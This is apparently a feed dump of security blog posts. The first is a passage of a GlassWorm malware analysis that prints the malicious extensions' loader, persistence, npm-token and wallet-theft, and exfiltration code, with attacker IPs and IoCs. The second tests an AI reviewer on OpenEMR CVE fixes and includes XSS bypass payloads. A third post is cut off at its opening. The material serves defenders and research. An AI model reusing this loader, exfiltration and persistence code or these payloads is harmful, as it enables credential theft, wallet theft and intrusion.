  y(-0x1ae, 'cRN$', -0x202, -0x19a) +
  x(0x25e, 0x256, 'g^B&', 0x22f);

// Note: this snippet was simplified from the original for readability.

Regional checks

Before continuing, the loader checks whether the system looks like it belongs to a user in Russia. It examines environment variables, language and locale settings, timezone information, and the UTC offset for signs of a Russian environment. That includes values like ru_RU, ru-RU, Russian, and russian, as well as timezones and UTC offsets commonly associated with Russia. Altogether, these checks suggest the loader is designed to avoid execution on systems linked to Russia.

This pattern is common among threat actors who operate from within Russian territories, as it avoids attracting in-country investigation. It’s much easier for an attacker’s own country to investigate and prosecute an attacker than it is for a foreign country. However, this signal should not be taken as conclusive proof or attribution.

function T() {
  let localeIndicators = [
    os.userInfo().username,
    process.env.LANGUAGE,
    process.env.LANG,
    process.env.LC_ALL,
    Intl.DateTimeFormat().resolvedOptions().locale
  ].some(v => v && /ru_RU|ru-RU|Russian|russian/i.test(v));

  let timezoneIndicators = [
    Intl.DateTimeFormat().resolvedOptions().timeZone,
    new Date().toString()
  ];

  let russianTimezones = [
    "Europe/Moscow",
    "Europe/Samara",
    "Asia/Novosibirsk",
    "Asia/Yekaterinburg",
    "Asia/Omsk",
    "Asia/Krasnoyarsk",
    "Asia/Irkutsk",
    "Asia/Vladivostok",
    "Asia/Magadan",
    "Asia/Kamchatka",
    "Asia/Anadyr",
    "MSK"
  ];

  let timezoneMatch = timezoneIndicators.some(v =>
    v && russianTimezones.some(tz => v.toLowerCase().includes(tz.toLowerCase()))
  );

  let utcOffset = -new Date().getTimezoneOffset() / 60;
  let offsetMatch = utcOffset >= 2 && utcOffset <= 12;

  return localeIndicators && (timezoneMatch || offsetMatch);
}

// Note: this snippet was simplified from the original for readability.

Memo-based payload discovery

The RPC response returns transactions with JSON in the memo field. The malware reads that data to identify the next-stage location, so it can fetch payload infrastructure from the blockchain instead of storing it directly inside the extension.

Partial memo:

{
  "jsonrpc": "2.0",
  "result": [
    {
      "blockTime": 1772540446,
      "confirmationStatus": "finalized",
      "err": null,
      "memo": "[79] {\"link\":\"aHR0cDovLzQ1LjMyLjE1MC4yNTEvOGdCd3hFcTRodmF1OGhydGVIUXNFUSUzRCUzRA==\"}",
      "signature": "2zJq487NsyNPZP3kAjUC76jayqjivVH5bJBELSCKSaNa49XJgoUmz3bp6Y9A9NZFZ8V86YVAogdziNu6ao2Z1AYW",
      "slot": 403936731
    }
  ],
  "id": 1
}

// Note: this snippet was simplified from the original for readability.

The extension then extracts the first memo value and resolves it to:

{ "link": "aHR0cDovLzQ1LjMyLjE1MC4yNTEvOGdCd3hFcTRodmF1OGhydGVIUXNFUSUzRCUzRA==" }

The RPC response contains multiple transactions with memo data, but the malware only uses the first one it finds to resolve the next stage. Those memo values point to different stage-delivery hosts, including 45[.]32[.]150[.]251, 45[.]32[.]151[.]157, and 70[.]34[.]242[.]255, which may suggest the infrastructure changed or rotated over time.

Retrieval of the next-Stage payload

After parsing the memo JSON, the loader decodes the link field and uses it for the next request:

http[:]//45[.]32[.]150[.]251/8gBwxEq4hvau8hrteHQsEQ%3D%3D

The server responds with encoded content in the body and additional header values corresponding to secretkey and ivbase64, which are later used to decrypt the AES-encrypted executable payload before execution.

Execution

Once the payload is retrieved, the malware dynamically executes it at runtime. The execution method varies depending on simple conditions in the loader. In the analyzed sample, the malware first checks whether the recovered payload is exactly 20 characters long and, if so, it immediately decodes and executes it via eval(atob(...)). In the analyzed sample, the payload did not meet that condition and was substantially larger, suggesting that this branch could have been for an alternate payload format or fallback response that we have yet to see.


If that condition isn’t met, the malware then checks the operating system. On macOS (darwin) it still uses the direct eval path, whereas on other platforms it creates a separate execution context and runs the payload through Node.js’s vm module instead, with runtime capabilities such as require, Buffer, process, console, and timer functions.

A representation of that logic is shown below:

if (Z?.length == 0x14) {
  eval(atob(Z));
  return;
}

if (O.platform() == "darwin") {
  let _iv = Buffer.from(K, "base64");
  eval(atob(Z));
} else {
  let d = require("vm");
  let t = {
    require,
    Buffer,
    process,
    console,
    setTimeout,
    setImmediate,
    clearTimeout,
    setInterval,
    clearInterval
  };

  d.createContext(t);
  new d.Script(dynamicSource).runInContext(t);
}

// Note: this snippet was simplified from the original for readability.

Stage 1

The recovered second-stage payload shows that the initial stage is not just fetching another script. It is delivering a broader credential theft, wallet theft, persistence, and exfiltration implant.

Stage delivery of GlassWorm components through a public Google Calendar page

A clear connection between the first stage loader and the recovered payload is that the second stage keeps the same indirection pattern. It retrieves a value from a public page, decodes it, and then uses it to fetch the next payload.

osAtlakAnH(
  atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlLzJOa3JjS0tqNFQ2RG40dUs2'),
  (err, link) => niEGcybV(atob(link), niEGcybVCall)
);

function niEGcybV(slug, callback) {
  http.get('http://45.32.150.251' + slug, (response) => {
    callback(null, {
      script: data,
      iv: response.headers.ivbase64,
      secretKey: response.headers.secretkey
    });
  });
}

// Note: this snippet was simplified from the original for readability.

Here, the payload first fetches a Google Calendar-hosted page, extracts a data-base-title attribute, decodes it, and then appends the result to http[:]//45[.]32[.]150[.]251. The server response body contains the next script, while the ivbase64 and secretkey headers provide the material needed for later decryption.

Embedded persistence and local staging

At this stage, the malware also establishes persistence on the victim system. It writes files under the user’s profile directory, drops a PowerShell script, and launches a hidden startup chain using:

const folderName = 'ozTjbCl';
const ps1name = 'mwSMNWQsh';
const folderPath = path.join(appdataDir, folderName);
const filePath = path.join(folderPath, 'index.js');

fs.writeFileSync(filePath, script);
fs.writeFileSync(ps1Path, scriptPS1(filePath, nodePath, ps1Path), 'utf-8');
childProcess.exec(
  `start /B powershell.exe -ExecutionPolicy Bypass -Command "& { . '${ps1Path}' }" -WindowStyle Hidden`,
  { detached: true, stdio: 'ignore' }
);

// Note: this snippet was simplified from the original for readability.

npm token theft

The malware searches for npm authentication tokens through several methods, including:

  • npm configuration
  • .npmrc files
  • environment variables

If a token is found, it is verified through the npm registry using https[:]//registry[.]npmjs[.]org/-/whoami

This is a strong indication that the campaign is not just interested in generic system data or wallets, but also in developer publishing credentials that could be reused for further supply-chain abuse.

class NpmTokenHandler {
  retrieveNpmToken() {
    const methods = [
      this.getFromNpmConfig.bind(this),
      this.getFromNpmrcFile.bind(this),
      this.getFromEnv.bind(this)
    ];
    for (const method of methods) {
      const token = method();
      if (token) return token;
    }
    return null;
  }
}

fetch('https://registry.npmjs.org/-/whoami', {
  headers: { Authorization: `Bearer ${this.token}` }
});

// Note: this snippet was simplified from the original for readability.

Cryptocurrency wallet targeting

It contains a large built-in mapping of browser and desktop wallet targets, including MetaMask, Phantom, Coinbase, Exodus, Trust Wallet, and many others, and searches profile directories and extension storage paths for matching wallet data, including browser extension storage and desktop wallet locations.

var EXTENSION_IDENTIFIERS = {
  MetaMask: 'nkbihfbeogaeaoehlefnkodbefgpgknn',
  Phantom: 'bfnaelmomeimhlpmgjnjophhpkkoljpa',
  Coinbase: 'hnfanknocfeofbddgcijnmhnfnkdnaad',
  Ronin: 'fnjhmkhhmkbjkkabndcnnogagogbneec',
  Trust_Wallet: 'egjidjbpglichdcondbcbdnbeeppgdph',
  Solflare: 'bhhhlbepdkbapadjdnnojkbgioiodbic'
};

// Note: this snippet was simplified from the original for readability.

Archive download, decryption, and native module loading

The second-stage payload also downloads an archive from the same infrastructure, decrypts a bundled module with AES, and launches it through Node.js.

http.get('http://45.32.150.251/get_arhive_npm/wBTsMvl78kbdYOVuAeE0Fw%3D%3D', (res) => {
  // download archive
});

const _decipher = crypto.createDecipheriv('aes-128-cbc', _key, _iv);
const _decryptedData = Buffer.concat([
  _decipher.update(Buffer.from(_data)),
  _decipher.final()
]);

childProcess.exec(`${path_node_g} -e "eval(atob('${_script}'))"`);

// Note: this snippet was simplified from the original for readability.

Exfiltration, Ledger targeting, and persistence

Finally, the staged data is compressed into a ZIP archive and sent to a dedicated exfiltration endpoint at 208[.]85[.]20[.]124:80/wall, with retry logic if the upload fails.

const zip = new AdmZip();
zip.addLocalFolder(_tempF);
let willSendThis = zip.toBuffer();

const options = {
  hostname: "208.85.20.124",
  port: 80,
  path: "/wall",
  method: "POST"
};

// Note: this snippet was simplified from the original for readability.

The payload also contains Ledger-specific logic. If Ledger Live is present under %APPDATA%, it downloads an additional executable from http[:]//45[.]32[.]150[.]251/led-win32, writes it to %TEMP%\TvVdSR.exe, creates a Run key named UpdateLedger, and launches the dropped file.

if (fs.existsSync(path.join(process.env.APPDATA, "Ledger Live"))) {
  http.get("http://45.32.150.251/led-win32", (res) => {
    const _path = path.join(process.env.TEMP, "TvVdSR.exe");
    fs.writeFileSync(_path, data);

    const ps1 = `$rPath = 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';
      New-ItemProperty -Path $rPath -Name 'UpdateLedger' -PropertyType String -Value '${_path}' -Force`;
  });
}

// Note: this snippet was simplified from the original for readability.

In addition, the decoded payload builds a second-stage persistence script named script_zombi. That script writes files under %APPDATA%, creates a hidden PowerShell-based startup path, creates a scheduled task named UpdateApp, and adds a HKCU\Software\Microsoft\Windows\CurrentVersion\Run entry so the malware is relaunched on user logon and survives reboots.

// inside script_zombi
schtasks /create /tn "UpdateApp" /tr "powershell -ExecutionPolicy Bypass -File ${ps1Path}" /sc onstart /rl highest /f
$rPath = "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
$command = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File ${ps1Path}"
New-ItemProperty -Path $rPath -Name $randomName -PropertyType String -Value $command -Force

Stage 2

How the chain continues after Google Calendar

The code fetched during the Google Calendar stage serves as both a collection and delivery component. It downloads additional modules, extracts browser and wallet data, compresses and encrypts the results, and sends them back to attacker controlled infrastructure. It also includes real-time communication and peer-to-peer components, namely:

  • socket[.]io-client
  • engine[.]io-client
  • ws
  • k-rpc-socket
  • bittorrent-dht

It even references public DHT bootstrap nodes including:

  • router[.]bittorrent[.]com
  • router[.]utorrent[.]com
  • dht[.]transmissionbt[.]com

Additionally, it performs another Solana memo lookup against the hardcoded wallet address BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC and uses the returned memo data to continue the execution chain. Here, The RPC provider list is rebuilt again, this time expanded with additional endpoints such as:

  • https[:]//public[.]rpc[.]solanavibestation[.]com
  • https[:]//sol-protect[.]rpc[.]blxrbdn[.]com

This same wallet was also mentioned in public reporting by Koi, as well as in later reporting by Socket on the oorzc case.

The snippet below shows how the malware downloads and archive from http[:]//45[.]32[.]150[.]251/get_arhive_npm/wBTsMvl78kbdYOVuAeE0Fw%3D%3D, extracts it, decrypts its contents, and executes the next flow:

fetch(atob(AGeZdIX2["_ASAR_ARHIVE_"]))
  .then((r) => r.arrayBuffer())
  .then(async (r) => {
    fs.writeFileSync(arhivePath, Buffer.from(r));
    new AdmZip(arhivePath).extractAllTo(unzipPATH);

    const decipher = crypto.createDecipheriv("aes-128-cbc", _key, _iv);
    const decryptedData = Buffer.concat([
      decipher.update(Buffer.from(data)),
      decipher.final()
    ]);

    child_process.exec(`start /B ${path_node} -e "eval(atob('${btoa(script2)}'))"`);
  });

// Note: this snippet was simplified from the original for readability.

The same stage also handles interactive remote commands, including hidden VNC, SOCKS proxying, system information collection, and execution of a base64 decoded payload delivered in the command field:

if (wrPQKF.type == "start_hvnc") {
  RmYcPxyOw(AGeZdIX_dht);
  return;
}

if (wrPQKF.type == "start_socks") {
  downloadManager.setHandler("start_socks");
  downloadManager._x64_downloadAndRunFile(AGeZdIX_dht);
  return;
}

if (wrPQKF.type == "get_system_info") {
  io_emitter.emit("task", { type: wrPQKF.type, value: JSON.stringify(getSystemInfo()) });
  return;
}

if (wrPQKF?.command) {
  eval(atob(wrPQKF.command));
}

// Note: this snippet was simplified from the original for readability.

It supports stop_hvnc and stop_socks which shows that this part of the malware is built to receive and act on remote tasking rather than simply fetch another payload.

The code also includes BitTorrent DHT and persistent socket communication components, which help support that control layer:

// bundled modules observed in the recovered stage:
// - k-rpc-socket
// - bittorrent-dht
// - engine.io-client
// - socket.io-client
// - ws

bootstrap: [
  "dht[.]libtorrent[.]org[:]25401",
  "router[.]bittorrent[.]com[:]6881",
  "router[.]utorrent[.]com[:]6881"
]

// Note: strings above modified by Checkmarx Zero for safety
//       domains and ports have been [bracketed] to avoid accidental use.

Before transmission, the collected data is compressed into a ZIP archive and then encrypted:

const zip2 = new AdmZip();
zip2.addLocalFolder(path.join(process.env.TEMP, "AGeZdIX"));
const willSendThis = zip2.toBuffer();

const key = crypto.randomBytes(32);
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv("aes-256-cbc", key, iv);
const encrypted = Buffer.concat([cipher.update(willSendThis), cipher.final()]);

// Note: this snippet was simplified from the original for readability.

Closing thoughts

GlassWorm stands out not because every new wave introduces an entirely new design, but because the campaign keeps adapting while preserving the same operational skeleton. Some relied on invisible Unicode tricks, others on wrapper-based obfuscation, dynamic reconstruction, or layered decoding. Yet the core behavior remained stable:

  • malicious VS Code and Open VSX extensions as the initial access point
  • Solana memo-based stage discovery
  • Russian locale evasion
  • staged payload retrieval
  • dynamic execution inside the extension runtime
  • wallet theft, npm token theft, persistence, and exfiltration

Earlier reporting highlighted GlassWorm’s use of invisible Unicode characters. One of the VS Code extensions in this set still used that same concealment method while reusing a Solana address seen in previous campaign activity. At the same time, the other ones make clear that the campaign is no longer dependent on a single concealment technique. The wrapper changes, but the execution pattern remains recognizable.

What should you do about GlassWorm?

Organizations and developers should add the identified IOCs to both network and endpoint defenses, including domains, IP addresses, wallet addresses, dropped filenames, scheduled task names, registry keys.

They should also search for signs of these extensions and their later-stage activity across developer environments. This means looking for the reported extension identifiers in VS Code and Open VSX extension directories, suspicious files written under user profile and AppData paths, unexpected Run key entries, scheduled tasks, dropped files, and outbound connections to the recovered infrastructure.

If evidence of infection is found, affected developers should rotate any credentials that may have been exposed, especially npm, GitHub, GitLab, cloud, and other publishing or developer tokens. Because the later stages also target wallets and wallet-related data, impacted users should also treat cryptocurrency wallet secrets, passphrases, and recovery material as potentially exposed and respond accordingly.

GlassWorm Indicators of Compromise (IoC)

Expand for details of IoCs

Network

  • https[:]//api[.]mainnet-beta[.]solana[.]com
  • https[:]//solana-mainnet[.]gateway[.]tatum[.]io
  • https[:]//go[.]getblock[.]us/86aac42ad4484f3c813079afc201451c
  • https[:]//solana-rpc[.]publicnode[.]com
  • https[:]//api[.]blockeden[.]xyz/solana/KeCh6p22EX5AeRHxMSmc
  • https[:]//solana[.]drpc[.]org
  • https[:]//solana[.]leorpc[.]com/?api_key=FREE
  • https[:]//solana[.]api[.]onfinality[.]io/public
  • https[:]//solana[.]api[.]pocket[.]network/ 
  • https[:]//public[.]rpc[.]solanavibestation[.]com
  • https[:]//sol-protect[.]rpc[.]blxrbdn[.]com

Blockchain address

  • 6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ
  • BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC

IP address

  • 45[.]32[.]150[.]251
  • 45[.]32[.]151[.]157
  • 70[.]34[.]242[.]255
  • 208[.]85[.]20[.]124

Stage-delivery

  • 45[.]32[.]150[.]251/get_arhive_npm/wBTsMvl78kbdYOVuAeE0Fw%3D%3D
  • 45[.]32[.]150[.]251/led-win32
  • 208[.]85[.]20[.]124:80/wall
  • calendar[.]app[.]google/2NkrcKKj4T6Dn4uK6

Artifacts

  • TvVdSR.exe
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateLedger
  • %TEMP%\WlpSxEJPU\
  • gJSFJ (bundled archive path)

Extensions

Note: this list includes the extensions mentioned in this post, as well as others recently identified by both Checkmarx Zero and other researchers within the community, and is provided as a convenience for defenders.

  • aadarkcode.one-dark-material
  • aligntool.extension-align-professional-tool
  • angular-studio.ng-angular-extension
  • awesome-codebase.codebase-dart-pro
  • awesomeco.wonder-for-vscode-icons
  • bhbpbarn.vsce-python-indent-extension
  • blockstoks.easily-gitignore-manage
  • brategmaqendaalar-studio.pro-prettyxml-formatter
  • codbroks.compile-runnner-extension
  • codevunmis.csv-sql-tsv-rainbow
  • codwayexten.code-way-extension
  • cosmic-themes.sql-formatter
  • craz2team.vscode-todo-extension
  • crotoapp.vscode-xml-extension
  • cudra-production.vsce-prettier-pro
  • daeumer-web.es-linter-for-vs-code
  • dark-code-studio.flutter-extension
  • densy-little-studio.wonder-for-vscode-icons
  • dep-labs-studio.dep-proffesinal-extension
  • dev-studio-sense.php-comp-tools-vscode
  • devmidu-studio.svg-better-extension
  • dopbop-studio.vscode-tailwindcss-extension-toolkit
  • errlenscre.error-lens-finder-ex
  • exss-studio.yaml-professional-extension
  • federicanc.dotenv-syntax-highlighting
  • flutxvs.vscode-kuberntes-extension
  • gvotcha.claude-code-extension
  • gvotcha.claude-code-extensions
  • intellipro.extension-json-intelligence
  • kharizma.vscode-extension-wakatime
  • ko-zu-gun-studio.synchronization-settings-vscode
  • kwitch-studio.auto-run-command-extension
  • lavender-studio.theme-lavender-dreams
  • littensy-studio.magical-icons
  • lyu-wen-studio-web-han.better-formatter-vscode
  • markvalid.vscode-mdvalidator-extension
  • mecreation-studio.pyrefly-pro-extension
  • mswincx.antigravity-cockpit
  • mswincx.antigravity-cockpit-extension
  • namopins.prettier-pro-vscode-extension
  • oigotm.my-command-palette-extension
  • otoboss.autoimport-extension
  • ovixcode.vscode-better-comments
  • pessa07tm.my-js-ts-auto-commands
  • potstok.dotnet-runtime-extension
  • pretty-studio-advisor.prettyxml-formatter
  • prismapp.prisma-vs-code-extension
  • projmanager.your-project-manager-extension
  • pubruncode.ccoderunner
  • pyflowpyr.py-flowpyright-extension
  • pyscopexte.pyscope-extension
  • redcapcollective.vscode-quarkus-elite-suite
  • rubyideext.ruby-ide-extension
  • runnerpost.runner-your-code
  • shinypy.shiny-extension-for-vscode
  • sol-studio.solidity-extension
  • ssgwysc.volar-vscode
  • studio-jjalaire-team.professional-quarto-extension
  • studio-velte-distributor.pro-svelte-extension
  • sun-shine-studio.shiny-extension-for-vscode
  • sxatvo.jinja-extension
  • tamokill12.foundry-pdf-extension
  • thing-mn.your-flow-extension-for-icons
  • tima-web-wang.shell-check-utils
  • tokcodes.import-cost-extension
  • toowespace.worksets-extension
  • treedotree.tree-do-todoextension
  • tucyzirille-studio.angular-pro-tools-extension
  • turbobase.sql-turbo-tool
  • twilkbilk.color-highlight-css
  • vce-brendan-studio-eich.js-debuger-vscode
  • yamaprolas.revature-labs-extension
  • silvia68.console-log-generator
  • quartz.quartz-markdown-editor

 

]]>
right visual visual
Unearned Confidence: AI Security Reviewers Don’t Really Get It https://checkmarx.com/zero-post/unearned-confidence-ai-security-reviewers-dont-really-get-it/ Thu, 05 Mar 2026 14:00:15 +0000 https://staging.checkmarx.com/?post_type=zero-post&p=107395 @import url("https://cmxiv.net/cxzero/cxzero-blog-styles-inject.extracted.css"); @import url("https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.11.1/styles/vs2015.min.css");

Did you ever have a co-worker that was generally good at their job, but also would give extremely confident answers that were entirely wrong? I certainly have. And that’s kind of what it’s like to work with the current crop of AI security reviewers.

The Checkmarx Zero research team has been constantly evaluating AI-based security review capabilities since AI tools first started to have security scope. While progress has been exciting in several ways, we keep finding ways the approach breaks down significantly. You can trick it into ignoring horribly insecure (even malicious) code, for example.

But more concerning, at least to me, is the unearned confidence of these AI systems. They’ll confidently give you answers that range from over-simplified to the outright incorrect.

To be clear, this doesn’t mean there’s no value. These tools can be extremely useful in the hands of a skilled professional. It does mean, however, that it’s essential to understand their limits so that you can put them in the right place within your security program.

No hype, just the lastest research in your inbox.
visual

AI Is Good Now. And That’s The Problem.

Large language models (LLMs) have reached a point where they can perform surprisingly solid code reviews. They can trace control flow, explain complex refactors, identify injection risks, reason about type confusion, and compare patches against vulnerability descriptions.

In many cases, they surface relevant insights faster than a human scanning the same diff for the first time. For routine review tasks, they can be genuine productivity multipliers. Some models can even find zero-day vulnerabilities, with some important limitations.

That progress is real.

But alongside it comes a subtle risk. Because the output looks structured, confident, and technically articulate, it is tempting to treat it as authoritative, especially in security contexts. When a model references specific functions, describes control flow accurately, and delivers a decisive conclusion, it feels like expert analysis.

As we are about to see, even when an AI demonstrates strong code comprehension, it can still misjudge exploitability, misunderstand configuration defaults, and overstate weaknesses. It can produce an analysis that sounds exactly like a senior security engineer while missing critical contextual details that completely change the outcome, resulting in false positive results.

AI can now assist with serious code review. But we still cannot trust it on security issues with our eyes closed.

Short Answer: No.

Recently, I decided to test Claude Opus 4.6’s “zero-day identification” capabilities by asking it to analyze whether the fix for CVE-2022-4506, an unrestricted file upload vulnerability in OpenEMR, was sufficient. For this experiment, we targeted OpenEMR, an open-source electronic health record (EHR) and medical practice management platform.

It confidently responded:

short answer: No, it’s insufficient… It determines the mimetype more accurately but never acts on it… The real guard (isWhiteFile) is conditional.

It further claimed that because certain checks were gated behind $GLOBALS['secure_upload'], the protection was effectively optional.

It sounded convincing. It referenced real functions. It identified real control flow. It made a clear, assertive claim.

There was just one problem. It was wrong. Making it a serious FP result.

What the Patch Actually Did

Looking at the actual commit, the changes in controllers/C_Document.class.php show a meaningful hardening of the upload logic. The patch removes reliance on the user-controlled $_FILES['file']['type'], introduces server-side MIME detection via mime_content_type(), performs explicit DICOM signature validation (‘DICM’), and skips the upload entirely if no MIME type can be determined.

In other words, the patch shifts trust from client-controlled metadata to server-side validation. That is not cosmetic. It is a fundamental security improvement. This is precisely what we want to see in a file upload fix: eliminate trust in user input and enforce server-side validation.

The AI’s conclusion hinged on two contextual misunderstandings that were the base of this FP result.

(AI generated description follows). Screenshot of a dark-theme code review diff for controllers/C_Document.class.php, showing 1 file changed with 10 additions and 3 deletions. The view is split into two side-by-side panes: removed lines highlighted in red on the left and added lines in green on the right. The changes appear inside a PHP function related to upload_action_process(). One removed line sets $mimetype from the uploaded file type directly. New added logic later in the function checks whether $mimetype is empty, tries to detect it with mime_content_type(...), and if detection still fails, logs an error and skips uploading the file with continue;. The interface includes line numbers, a search box labeled “Search within code” in the top right, and overall resembles a GitHub-style pull request diff.
The fix: Code diff adding safer MIME type handling for file uploads.

The Forgotten Whitelist

First, the model treated isWhiteFile() as if it were a weak or secondary check, something incidental in the flow. But it missed what the function actually does. isWhiteFile() is not a cosmetic helper. It performs a whitelist verification of allowed file extensions and types. In other words, it enforces a positive security model where only explicitly permitted file types are accepted. That is a meaningful control, not a soft signal.

The iswhitefile() function definition; screenshot.
See code as text
function isWhiteFile($file)
{
    global $white_list;
    if (is_null($white_list)) {
        $white_list = [];
        $lres = sqlStatement("SELECT option_id FROM list_options WHERE list_id = 'files_white_list' AND activity = 1");
        while ($lrow = sqlFetchArray($lres)) {
            $white_list[] = $lrow['option_id'];
        }
        /* ... */
    if (in_array($mimetype, $white_list)) {
        $isAllowedFile = true;
    } else {
        /* ... */
    return $isAllowedFile;
}

Second, the model argued that because certain checks were gated behind $GLOBALS['secure_upload'], the protection was effectively optional. However, in standard OpenEMR installations, secure_upload is enabled by default. That means these restrictions are active out of the box in real-world deployments. Treating a default-enabled safeguard as optional misrepresents the practical security posture of the system.

globals.inc.php file with secure_upload structure; screenshot.
See code as text
'secure_upload' => [
    xl('Secure Upload Files with White List'),
    'bool',                           // data type
    '1',                              // default
    xl('Block all files types that are not found in the White List. Can find interface to edit the White List at Administration->Files.')
]

This is where the analysis failed. It reasoned about configurability in theory without considering default configurations in practice. Security is rarely about isolated lines of code. It is about how features behave in real deployments.

Now, can reasonable people disagree? Certainly! And that’s the point: AI doesn’t have “experience” the same way a security team does, so it can’t parse these nuances to arrive at a sensible recommendation for a specific organization. And it doesn’t seem like that ability will arise in the near future.

In short, whether you’re a developer validating the robustness of a fix or a security researcher attempting to bypass a CVE patch, using AI naively can introduce unnecessary overhead in both time and resources. Developers may waste valuable effort hardening code that is already secure, while researchers may pursue convincing but ultimately false leads. In both cases, the outcome is the opposite of what AI is meant to provide: increased efficiency and clarity.

Trivially Bypassable

I ran a similar experiment against the fix for CVE-2022-4733, an XSS vulnerability in OpenEMR. I asked the model to validate the relevant patch.

XSS fix, diff 1
XSS fix, diff 2

Its conclusion was again definitive:

“Is the fix sufficient? No, it’s trivially bypassable.”

It then proposed bypass techniques.

Bypass 1: Nested string
jajavascriptvascript:alert(1)

The model reasoned that after str_ireplace removes “javascript” from the middle, what remains is:

javascript:alert(1)

It argued that the function performs a single-pass replacement and does not loop until all matches are removed.

Bypass 2: URL encoding and mixed techniques

It further suggested that inputs like:

&#106;avascript:alert(1)

might bypass filtering depending on how encoding interacts with str_ireplace and template attribute escaping.

function javascriptStringRemove($text)
{
    return str_ireplace('javascript', '', $text ?? '');
}

Again, the reasoning sounded plausible. It demonstrated awareness of common filter bypass patterns. It referenced real string manipulation behavior. It framed the issue in a way that resembles classic XSS filter failures.

By this point, I was already convinced that the fix is truly bypassable. But, as I discovered in the first section of this blog, AI can sound confident even when it is dead wrong, so you can never be too sure. So the only thing that was left for me to do was to manually verify if the new suggested payload would run or not, and one of them did! So Claude was partially right with 1 out of 2 suggested payloads.

inserting the suggested payload into the vulnerable field
hovering over the user manual shows the link URL is our payload javascript:alert(1)
alert pop after clocking user manual link

Fool Me Once

Since Claude misled me while testing the CVE in the first section, I decided to push back and see how it would operate on shakier ground. Guess I was still a bit hurt.

So instead of celebrating that Claude had successfully bypassed the second CVE fix, I chose to fool it and claim that the payload didn’t work at all – a perfectly reasonable scenario, considering Claude may interact with either a non-security professional or a developer who felt challenged by its analysis and became protective of the code they wrote.

Claude’s response turned out to be yet another good example of why relying on AI can be dangerous:

“The rendered link is opened in a new tab using target="_blank". This key detail is critical in this case since modern browsers block navigation to javascript: URLs in many contexts, particularly when opened as a new browsing context”.

The model response basically claimed that browsers can sometimes block navigation to new tabs if the URL has a javascript: scheme, and this explains why the payload it suggested did not execute. Again, this sounds very convincing, right? But as we have already proven in the previous section, the payload worked just fine.

Someone without the knowledge of how to test and challenge the explanations given by the model has no other option but to rely on its answers blindly, with the belief that it knows best.

This is very risky since, as we know, humans make mistakes, and if we insist on our mistakes, then even AI models can’t help us out.

After Further Questioning

After the first run on each CVE, I refined my prompt in the hope of getting a more complete analysis. Taking CVE-2022-4506 as an example, I explicitly instructed the model to “deep dive into all relevant files and methods,” since it had not done so in the initial response. I also pointed out the sanitizing function it had missed, isWhiteFile(), and to the fact that $GLOBALS['secure_upload'] is enabled by default. These were the two main reasons its original assessment was incorrect.

With additional prompting, the model eventually corrected itself. It acknowledged the broader safeguards. It adjusted its assessment.

That is important.

The issue is not that the model is incapable of understanding these nuances. It is that it does not reliably account for them on its own. Without guided skepticism from the user, it can confidently deliver an incomplete or misleading security verdict.

And that distinction matters.

The Real Cost of Confident Mistakes

The main part of this story is not that the model made a mistake and produced an FP result, but rather how authoritative it sounded while doing so.

When I first read the model’s response about the fix for the file upload CVE (CVE-2022-4506), it sounded very convincing. Based solely on what the model presented, it was easy to believe the fix could be bypassed and to spend precious time trying to exploit it.

In the case of the XSS vulnerability (CVE-2022-4733), when I told the model that its proposed payload did not work, it produced another detailed and persuasive explanation for why it supposedly failed to execute. If I had not had the tools and the relevant knowledge to verify that explanation myself, I might have accepted it as correct and assumed the fix was sufficient, even though the code could still have been vulnerable.

The responses were structured, decisive, and technically detailed. They referenced specific functions and control flow. If you were not deeply familiar with the codebase or browser behavior, you might accept the conclusions without double-checking.

In security work, that is risky. Not only is it risky, since AI tools are now an integral part of security reviews, especially in the bug bounty community, vendors are drowning in AI-produced reports that mostly end up being full of false positive results that cost precious time to understand and analyze.

A flawed AI assessment can incorrectly flag a fix as insufficient, overlook default safeguards, misinterpret configuration-driven logic, ignore execution context, generate noise that wastes engineering time, and erode trust in legitimate security fixes. That’s a whole world of possible FPs waiting to happen.

In vulnerability research and code review, context is everything. Default settings matter. Surrounding validation layers matter. Deployment assumptions matter. Runtime behavior matters.

LLMs do not always reliably model those layers.

Defense in Depth vs. Single-Function Thinking

This example highlights a broader pattern in AI security reviews. Models are often good at local reasoning, analyzing a function, spotting a potentially unsafe pattern, comparing before-and-after diffs, and constructing hypothetical bypass strings. They are much weaker at system reasoning, understanding how configuration defaults, architectural guardrails, browser behavior, and layered defenses interact across a full execution path.

Security fixes are rarely about a single line. They are about defense in depth.

Hypothesis, Not Verdict

When an AI treats configurable safeguards as effectively disabled, ignores defaults, or assumes execution without validating runtime constraints, it can produce technically plausible but operationally incorrect conclusions.

AI can absolutely accelerate security reviews. It can summarize diffs, highlight suspicious patterns, explain unfamiliar code, and brainstorm potential attack paths. But it should not be treated as a final authority, especially when evaluating exploitability or patch sufficiency. And if not used wisely, it can cause the opposite effect, extending the time you spend verifying, revalidating, and analyzing solid fixes.

Every AI-generated claim about security should be treated as a hypothesis, not a verdict.

If anything, this experience reinforced an old lesson: context and careful code review still matter.

AI can help you think faster and accelerate your analysis. It cannot replace a deep understanding of how the system actually behaves.

And in security, “actually” is the only thing that counts.

]]>
right visual visual image-20260224-105835 image-20260224-110139 image-20260224-110314 image-20260224-110408 image-20260224-110438 image-20260224-111140 image-20260224-111338 image-20260224-111435
AI fights and more attacks on dev infrastructure: Last Week in AppSec for 4. March 2026 https://checkmarx.com/zero-post/ai-fights-and-more-attacks-on-dev-infrastructure-last-week-in-appsec-for-4-march-2026/ Thu, 05 Mar 2026 03:19:11 +0000 https://staging.checkmarx.com/?post_type=zero-post&p=107445 @import url("https://cmxiv.net/cxzero/cxzero-blog-styles-inject.extracted.css"); @import url("https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.11.1/styles/vs2015.min.css");

Now the AIs are fighting

Two themes stood out this week: automation attacking automation (AI-driven bots and agent frameworks turning CI/CD into an always-on exploit surface), and trusted developer plumbing being repurposed (package registries, plugins, and “helpful” tooling paths becoming execution paths).

